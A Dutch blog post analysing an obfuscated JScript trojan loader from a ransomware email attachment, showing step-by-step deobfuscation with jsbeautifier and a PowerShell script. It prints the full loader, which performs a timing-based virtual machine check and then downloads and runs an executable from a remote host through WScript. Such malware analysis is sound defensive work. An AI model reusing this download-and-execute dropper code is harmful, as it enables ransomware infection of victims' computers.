vrijdag 18 maart 2016

Analyse van een trojan loader

Iemand krijgt een mailtje met de bijlage payment_info_007278.zip, dubbelklikt dat en mogelijk ook
op een bestand daarin en besmet zijn computer met ransomware. Al zijn documenten worden versleuteld via een encryptiealgoritme en er worden op diverse plaatsen bestanden gedropt met instructies hoe het losgeld te betalen , via URLs in het TOR-netwerk in het topdomein .onion . De bijlage bevat een "trojan loader". Hierin zitten een bitmap en twee JavaScript-bestanden genaamd billing_f487c29.js en payment_details_005e4.js. De analyse van de twee JavaScript-bestanden wordt hier beschreven.




De twee JavaScript-bestanden zijn verhaspeld ("obfuscated") , zodat het onduidelijk is wat de scripts precies doen , en ook om antivirus-software om de tuin te leiden en detectie te bemoeilijken. Een van de twee js-bestanden bevat de volgende obfuscated code.


var lsLN = "n\x21";var olQxh = "iVjvr".charAt(0);var atY = "\x61\x67a";var wwVuJ = "try ";var p = "ase,\x20";var dnzi = "Ple";var sr = "\x316\x32";var TTbh = "68";var LpU = "3";var uz = "\x3218";var jgwmN = "0Gf".charAt(2);var m0 = "\x66a\x73d";var kAg = "\x61sd";var mKGFK = "df";var KuBG = "\x75h\x69\x73";var ySyh = "bGWsiaWF2dO".charAt(5);var ysnnI = "d\x66\x79";var ikUHm = "7\x6fgs";var KJRdj = "\x73d8\x66a";var iFoO = "u\x37h\x67";var Hkgd = "\x73dfa";var pvDN = "77olJo".charAt(5);var xlst = "\x66\x6bja";var xPLr = "asd\x6c";var FyWR = "l\x6f\x73e";var R1 = "AmcoUS".charAt(2);var wddag = "TYgpWej".charAt(5);var xNIv = "i\x6c";var UsTv = "\x54oF";var ujTj = "e";var cTckj = "S\x61v";var ZuM = "ion";var boO = "\x70osi\x74";var lPZ = "dy";var JvAuh = "eB\x6f";var xSknJ = "spons";var Ig = "\x65";var jjmiQ = "R";var n0 = "e";var e = "wr\x69t";var xBhB = "\x74y\x70e";var HVa = "en";var fCwBW = "o\x70";var YxufC = "am";var Pu = "\x72e";var zmDXv = "St";var SJv = ".";var wAUn = "\x41\x44O\x44B";var dCy = "ep";var IPtk = "S\x6ce";var nrB = "ate";var fB = "Bw1PtbauN".charAt(4);var VdUg = "voGestxH".charAt(4);var Sy = "\x72\x65ad\x79";var dDpWt = "se\x6ed";var m = "ha5gCUs6".charAt(3);var FssD = "e4f";var Dy = "\x68\x66";var o = "jniJBx".charAt(0);var UNjVl = "m/\x33";var xj = "a\x6c.co";var mN = "\x6ende";var kMQk = "po";var lv = "\x2eco\x75";var S1 = "\x77w";var yDC = "p://\x77";var ETI = "htt";var TWHtE = "4T".charAt(1);var csxM = "\x47E";var paN = "en";var Xu = "\x6fp";var i = "e\x63t";var N = "sHTj4pSCW".charAt(3);var R0 = "\x61t\x65O\x62";var BAEkz = "Cre";var cYvH = ".\x65xe";var xz = "\x38AP";var ONgJ = "y";var KoAnf = "d\x43";var D = "fNPCJ";var odM = "\x70\x6bC";var ceo = "MP\x25/";var L = "TE";var reb = "typ%qxd".charAt(3);var ITagc = "OXisVyw".charAt(3);var wdbIC = "i\x6e\x67";var GmMRe = "\x53tr";var W = "me\x6et";var mIai = "n";var gv = "\x72o";var SwYy = "\x64Envi";var H = "\x70an";var Nhco = "\x45\x78";var l = "u";var vpv = "Y";var czvN = "fG";var ZWk = "J\x77q";var Vj = "\x63\x6f\x6eds";var w = "\x6ci\x73\x65";var GM = "\x74Mil";var bnDpN = "\x67e";var TuHM = "e";var rafqm = "Da\x74";var sVFw = "ep";var ynVFp = "\x6c\x65";var usl = "S";var uoaV = "nd\x73";var jgrp = "\x65\x63\x6f";var LWzWY = "\x73";var wvNZ = "lli";var vbm = "tz8i0gR".charAt(3);var bHfFU = "tM";var RmiwB = "g\x65";var U0 = "D\x61\x74e";var R = "p";var g = "Sl\x65e";var y = "nds";var xH = "\x69\x73ec\x6f";var LJ = "l";var h = "il";var K = "t\x4d";var M = "e";var yp = "2MYqgZ9".charAt(4);var BVLV = "Da\x74e";var AFaz = "bjec\x74";var gjU = "O";var bPNuS = "te";var qKQMV = "e\x61";var U = "\x43r";var ACd = "\x54P";var CHc = "MLHT";var hM = ".X";var q = "SXML2";var toX = "M";var bciJn = "Run";var qqZsf = "e\x6cl";var dtA = "HoHhg".charAt(3);var eTQ = "\x70t.\x53";var en = "W\x53c\x72i";var Smpgw = "c\x74";var VS = "\x62\x6ae";var S0 = "\x65\x4f";var n = "Crea\x74";MEU = WScript[(n) + (S0) + (VS) + (Smpgw)]((en) + (eTQ) + (dtA) + (qqZsf));function fT(S){MEU[(bciJn)](S, 0, 0);};function jTe(){return (toX) + (q) + (hM) + (CHc) + (ACd);};function ay(){return (n) + (S0) + (VS) + (Smpgw);};function J(){return 22;};function jOJ(){ var hDPu = new this[(BVLV)](); var VYut = hDPu[(yp) + (M) + (K) + (h) + (LJ) + (xH) + (y)](); WScript[(g) + (R)](J()); var hDPu = new this[(BVLV)](); var KSJ = hDPu[(yp) + (M) + (K) + (h) + (LJ) + (xH) + (y)](); WScript[(g) + (R)](J()); var hDPu = new this[(BVLV)](); var ZGH = hDPu[(yp) + (M) + (K) + (h) + (LJ) + (xH) + (y)](); var tjOa = "Jwq"; tjOa = KSJ - VYut; var Hvc = "fGYu"; Hvc = ZGH - KSJ; return tjOa - Hvc;}var OIj = false;for (var A = 0; A < J() * 1; A++){ if (jOJ() != 0) { OIj = true; break; }}if (OIj){vC = MEU[(Nhco) + (H) + (SwYy) + (gv) + (mIai) + (W) + (GmMRe) + (wdbIC) + (ITagc)]((reb) + (L) + (ceo)) + (odM) + (D) + (KoAnf) + (ONgJ) + (xz) + (cYvH); MxNK = jTe(); Vwzqt = WScript[(n) + (S0) + (VS) + (Smpgw)](MxNK);Vwzqt[(Xu) + (paN)]((csxM) + (TWHtE), (ETI) + (yDC) + (S1) + (lv) + (kMQk) + (mN) + (xj) + (UNjVl) + (o) + (Dy) + (FssD) + (m), false);Vwzqt[(dDpWt)]();while (Vwzqt[(Sy) + (VdUg) + (fB) + (nrB)] < 4 ) {WScript[(g) + (R)](J() * 10)};erbFV = WScript[ay()]((wAUn) + (SJv) + (zmDXv) + (Pu) + (YxufC));erbFV[((Xu) + (paN))]();erbFV[(xBhB)] = 1;erbFV[(e) + (n0)](Vwzqt[(jjmiQ) + (Ig) + (xSknJ) + (JvAuh) + (lPZ)]);erbFV[(boO) + (ZuM)] = 0;erbFV[(cTckj) + (ujTj) + (UsTv) + (xNIv) + (wddag)](vC, 2 );erbFV[(R1) + (FyWR)]();fT(vC);tjOa = "" + (xPLr) + (xlst) + (pvDN) + (Hkgd) + (iFoO) + (KJRdj) + (ikUHm) + (ysnnI) + (ySyh) + (KuBG) + (mKGFK) + OIj ? (kAg) + (m0) + (jgwmN) : (uz) + (LpU) + (TTbh) + (sr);}else{WScript.Echo((dnzi) + (p) + (wwVuJ) + (atY) + (olQxh) + (lsLN));}


Stap 1 deobfuscate

Het deobfusceren hiervan kan door de code te uploaden naar http://jsbeautifier.org en daar de optie "Unescape printable chars encoded" aan te vinken. Jsbeautifier produceert code die opgeschoond, urlencoded tekens worden omgezet in de letterlijke tekens, statements op aparte regels gezet en er wordt netjes ingesprongen. Al met al is de code al iets leesbaarder.


var lsLN = "n!";
var olQxh = "i";
var atY = "aga";
var wwVuJ = "try ";
var p = "ase, ";
var dnzi = "Ple";
var sr = "162";
var TTbh = "68";
var LpU = "3";
var uz = "218";
var jgwmN = "f";
var m0 = "fasd";
var kAg = "asd";
var mKGFK = "df";
var KuBG = "uhis";
var ySyh = "a";
var ysnnI = "dfy";
var ikUHm = "7ogs";
var KJRdj = "sd8fa";
var iFoO = "u7hg";
var Hkgd = "sdfa";
var pvDN = "o";
var xlst = "fkja";
var xPLr = "asdl";
var FyWR = "lose";
var R1 = "c";
var wddag = "e";
var xNIv = "il";
var UsTv = "ToF";
var ujTj = "e";
var cTckj = "Sav";
var ZuM = "ion";
var boO = "posit";
var lPZ = "dy";
var JvAuh = "eBo";
var xSknJ = "spons";
var Ig = "e";
var jjmiQ = "R";
var n0 = "e";
var e = "writ";
var xBhB = "type";
var HVa = "en";
var fCwBW = "op";
var YxufC = "am";
var Pu = "re";
var zmDXv = "St";
var SJv = ".";
var wAUn = "ADODB";
var dCy = "ep";
var IPtk = "Sle";
var nrB = "ate";
var fB = "t";
var VdUg = "s";
var Sy = "ready";
var dDpWt = "send";
var m = "g";
var FssD = "e4f";
var Dy = "hf";
var o = "j";
var UNjVl = "m/3";
var xj = "al.co";
var mN = "nnde";
var kMQk = "po";
var lv = ".cou";
var S1 = "ww";
var yDC = "p://w";
var ETI = "htt";
var TWHtE = "T";
var csxM = "GE";
var paN = "en";
var Xu = "op";
var i = "ect";
var N = "j";
var R0 = "ateOb";
var BAEkz = "Cre";
var cYvH = ".exe";
var xz = "8AP";
var ONgJ = "y";
var KoAnf = "dC";
var D = "fNPCJ";
var odM = "pkC";
var ceo = "MP%/";
var L = "TE";
var reb = "%";
var ITagc = "s";
var wdbIC = "ing";
var GmMRe = "Str";
var W = "ment";
var mIai = "n";
var gv = "ro";
var SwYy = "dEnvi";
var H = "pan";
var Nhco = "Ex";
var l = "u";
var vpv = "Y";
var czvN = "fG";
var ZWk = "Jwq";
var Vj = "conds";
var w = "lise";
var GM = "tMil";
var bnDpN = "ge";
var TuHM = "e";
var rafqm = "Dat";
var sVFw = "ep";
var ynVFp = "le";
var usl = "S";
var uoaV = "nds";
var jgrp = "eco";
var LWzWY = "s";
var wvNZ = "lli";
var vbm = "i";
var bHfFU = "tM";
var RmiwB = "ge";
var U0 = "Date";
var R = "p";
var g = "Slee";
var y = "nds";
var xH = "iseco";
var LJ = "l";
var h = "il";
var K = "tM";
var M = "e";
var yp = "g";
var BVLV = "Date";
var AFaz = "bject";
var gjU = "O";
var bPNuS = "te";
var qKQMV = "ea";
var U = "Cr";
var ACd = "TP";
var CHc = "MLHT";
var hM = ".X";
var q = "SXML2";
var toX = "M";
var bciJn = "Run";
var qqZsf = "ell";
var dtA = "h";
var eTQ = "pt.S";
var en = "WScri";
var Smpgw = "ct";
var VS = "bje";
var S0 = "eO";
var n = "Creat";
MEU = WScript[(n) + (S0) + (VS) + (Smpgw)]((en) + (eTQ) + (dtA) + (qqZsf));

function fT(S) {
    MEU[(bciJn)](S, 0, 0);
};

function jTe() {
    return (toX) + (q) + (hM) + (CHc) + (ACd);
};

function ay() {
    return (n) + (S0) + (VS) + (Smpgw);
};

function J() {
    return 22;
};

function jOJ() {
    var hDPu = new this[(BVLV)]();
    var VYut = hDPu[(yp) + (M) + (K) + (h) + (LJ) + (xH) + (y)]();
    WScript[(g) + (R)](J());
    var hDPu = new this[(BVLV)]();
    var KSJ = hDPu[(yp) + (M) + (K) + (h) + (LJ) + (xH) + (y)]();
    WScript[(g) + (R)](J());
    var hDPu = new this[(BVLV)]();
    var ZGH = hDPu[(yp) + (M) + (K) + (h) + (LJ) + (xH) + (y)]();
    var tjOa = "Jwq";
    tjOa = KSJ - VYut;
    var Hvc = "fGYu";
    Hvc = ZGH - KSJ;
    return tjOa - Hvc;
}
var OIj = false;
for (var A = 0; A < J() * 1; A++) {
    if (jOJ() != 0) {
        OIj = true;
        break;
    }
}
if (OIj) {
    vC = MEU[(Nhco) + (H) + (SwYy) + (gv) + (mIai) + (W) + (GmMRe) + (wdbIC) + (ITagc)]((reb) + (L) + (ceo)) + (odM) + (D) + (KoAnf) + (ONgJ) + (xz) + (cYvH);
    MxNK = jTe();
    Vwzqt = WScript[(n) + (S0) + (VS) + (Smpgw)](MxNK);
    Vwzqt[(Xu) + (paN)]((csxM) + (TWHtE), (ETI) + (yDC) + (S1) + (lv) + (kMQk) + (mN) + (xj) + (UNjVl) + (o) + (Dy) + (FssD) + (m), false);
    Vwzqt[(dDpWt)]();
    while (Vwzqt[(Sy) + (VdUg) + (fB) + (nrB)] < 4) {
        WScript[(g) + (R)](J() * 10)
    };
    erbFV = WScript[ay()]((wAUn) + (SJv) + (zmDXv) + (Pu) + (YxufC));
    erbFV[((Xu) + (paN))]();
    erbFV[(xBhB)] = 1;
    erbFV[(e) + (n0)](Vwzqt[(jjmiQ) + (Ig) + (xSknJ) + (JvAuh) + (lPZ)]);
    erbFV[(boO) + (ZuM)] = 0;
    erbFV[(cTckj) + (ujTj) + (UsTv) + (xNIv) + (wddag)](vC, 2);
    erbFV[(R1) + (FyWR)]();
    fT(vC);
    tjOa = "" + (xPLr) + (xlst) + (pvDN) + (Hkgd) + (iFoO) + (KJRdj) + (ikUHm) + (ysnnI) + (ySyh) + (KuBG) + (mKGFK) + OIj ? (kAg) + (m0) + (jgwmN) : (uz) + (LpU) + (TTbh) + (sr);
} else {
    WScript.Echo((dnzi) + (p) + (wwVuJ) + (atY) + (olQxh) + (lsLN));
}


Stap 2 Vervang variabelen door literals

Het is duidelijker dat de werkelijke bedoeling nog steeds obscuur blijft vanwege al die onduidelijhk variabelen die overal gebruikt worden. Met een stukje PowerShell-code kunnen deze variabelen waar deze gebruikt worden worden vervangen door de letterlijke stringwaarden. Dit is de PowerShellcode.


<#
 deobfuscate-malware.ps1
 Paul Wiegmans 2016-318
 
 deobfuscate the javascripts in ransomware "Locky" (or I think that is it)
 by replacing obfuscating variables with their literal string values.
 
 PROCEDURE
 1. replace by hand all literal strings with charAt(n) values by the resulting char.
 2. deobfuscate javascript file at http://jsbeautifier.org  (check unescape encoded chars)
 3. run this to get a more deobfuscated javascript
#>

Clear-Host
$inputname = "billing_f487c29-step2.jx"
$lines = Get-Content $inputname
$testline = "iEeJ = WScript[(hc) + (VOJ) + (ASYo) + (o) + (D0)]((vj) + (n) + (aI) + (Yhyn) + (mna) + (HKE));"
$crlf = "`n`r"
$outlines = @()
$var = [regex]'^var ([\w]+) = ([\w\s\S\"]+);$'
$t=0
while ($lines.length) {
 $line, $lines = $lines -split $crlf
    if ($var.IsMatch($line)) {
  $line = $line -replace "var ","" -replace " = ","=" -replace ";","" -split "="
  $replacewhat = "("+ $line[0] + ")"
  $replacewith = $line[1]
  $lines = $lines.Replace($replacewhat,$replacewith)
  $testline = $testline.Replace($replacewhat,$replacewith)
 } else {
  $outlines += $line
 }
}
$outlines = $outlines.Replace('" + "','')
$outlines | Set-Content ($inputname + "-deob.jx")


In de uitvoer  die dit script produceert


MEU = WScript["CreateObject"]("WScript.Shell");

function fT(S) {
    MEU["Run"](S, 0, 0);
};

function jTe() {
    return "MSXML2.XMLHTTP";
};

function ay() {
    return "CreateObject";
};

function J() {
    return 22;
};

function jOJ() {
    var hDPu = new this["Date"]();
    var VYut = hDPu["getMilliseconds"]();
    WScript["Sleep"](J());
    var hDPu = new this["Date"]();
    var KSJ = hDPu["getMilliseconds"]();
    WScript["Sleep"](J());
    var hDPu = new this["Date"]();
    var ZGH = hDPu["getMilliseconds"]();
    var tjOa = "Jwq";
    tjOa = KSJ - VYut;
    var Hvc = "fGYu";
    Hvc = ZGH - KSJ;
    return tjOa - Hvc;
}
for (var A = 0; A < J() * 1; A++) {
    if (jOJ() != 0) {
        OIj = true;
        break;
    }
}
if false {
    vC = MEU["ExpandEnvironmentStrings"]("%TEMP%/") + "CJdCy8APkCfNP.exe";
    MxNK = jTe();
    Vwzqt = WScript["CreateObject"](MxNK);
    Vwzqt["open"]("GET", "http://www.malwaredomein.com/4r3e5t2w", false);
    Vwzqt["send"]();
    while (Vwzqt["readystate"] < 4) {
        WScript["Sleep"](J() * 10)
    };
    erbFV = WScript[ay()]("ADODB.Stream");
    erbFV[("open")]();
    erbFV["type"] = 1;
    erbFV["write"](Vwzqt["ResponseBody"]);
    erbFV["position"] = 0;
    erbFV["SaveToFile"](vC, 2);
    erbFV["close"]();
    fT(vC);
    tjOa = "asdlfkjaosdfau7hgsd8fa7ogsdfyauhisdf" + OIj ? "asdfasdf" : "218368162";
} else {
    WScript.Echo("Please, try again!");
}

Step 3 Zinvolle namen

Dit is de JavaScript die uiteindelijk wordt uitgevoerd door WScript op Windows-computers, oftewel Windows Script Host . Na nog enkele identifiers te hebbeen vervangen van zinnige namen, ziet de code van de trojan loader er zo uit:




objShell = WScript["CreateObject"]("WScript.Shell");

function Runcommand(S) {
    objShell["Run"](S, 0, 0);
};


function Tijdmeting() {
    var oDate = new this["Date"]();
    var Tijd1 = oDate["getMilliseconds"]();
    WScript["Sleep"](22);
    var oDate = new this["Date"]();
    var Tijd2 = oDate["getMilliseconds"]();
    WScript["Sleep"](22);
    var oDate = new this["Date"]();
    var Tijd3 = oDate["getMilliseconds"]();
    var Verschil1 = Tijd2 - Tijd1;
    var Verschil2 = Tijd3 - Tijd2;
    return Verschil1 - Verschil2;
}
for (var A = 0; A < 22 * 1; A++) {
    if (Tijdmeting() != 0) {
        Vlag = true;
        break;
    }
}
if (Vlag) {
    TempFile = objShell["ExpandEnvironmentStrings"]("%TEMP%/") + "UiiePHHdUioBE,Q.exe";
    ObjectType = "MSXML2.XMLHTTP";
    HttpRequest = WScript["CreateObject"](ObjectType);
    HttpRequest["open"]("GET", "http://www.malwaredomein.com/5ty4u7eu8", false);
    HttpRequest["send"]();
    while (HttpRequest["readystate"] < 4) {
        WScript["Sleep"](22 * 10)
    };
    Binarystream = WScript["CreateObject"]("ADODB.Stream");
    Binarystream[("open")]();
    Binarystream["type"] = 1;
    Binarystream["write"](HttpRequest["ResponseBody"]);
    Binarystream["position"] = 0;
    Binarystream["SaveToFile"](TempFile, 2);
    Binarystream["close"]();
    Runcommand(TempFile);
    tjOa = "asdlfkjaosdfau7hgsd8fa7ogsdfyauhisdf" + Vlag ? "asdfasdf" : "218368162";
} else {
    WScript.Echo("Please, try again!");
}

Wat ik hier zie gebeuren in deze code is het volgende:

  • Het script meet in de functie Tijdmeting() een aantal keren het verschil in tijdsduur van twee wachtperioden. Volgens mij is dit een controle of het script wordt uitgevoerd op een fysieke computer, in tegenstelling tot een virtuele machine. Is het een fysieke computer, dan zet het variable Vlag op True en gaat het script door. Draait het in een virtuele machine, dan zet het Vlag op false en breekt het script af.
  • Het script stuurt een "GET" opdracht over een HTTP-verbinding met een bepaalde website,  en ontvangt vervolgens een hoeveelheid binaire gegevens, die deze bewaart in een bestand met een willekeurige naam en een ".exe"-extensie in de TEMP-map en voert dit vervolgens uit. Hier wordt de trojan opgehaald en uitgevoerd en wordt een volgende fase van de besmetting van de computer in gang gezet.
Het andere JavaScript-bestand is ook geobfusceerd (verhaspeld) maar gebruikt andere namen en bevat na deobfuscatie feitelijk precies dezelfde code. 

Geen opmerkingen:

Een reactie plaatsen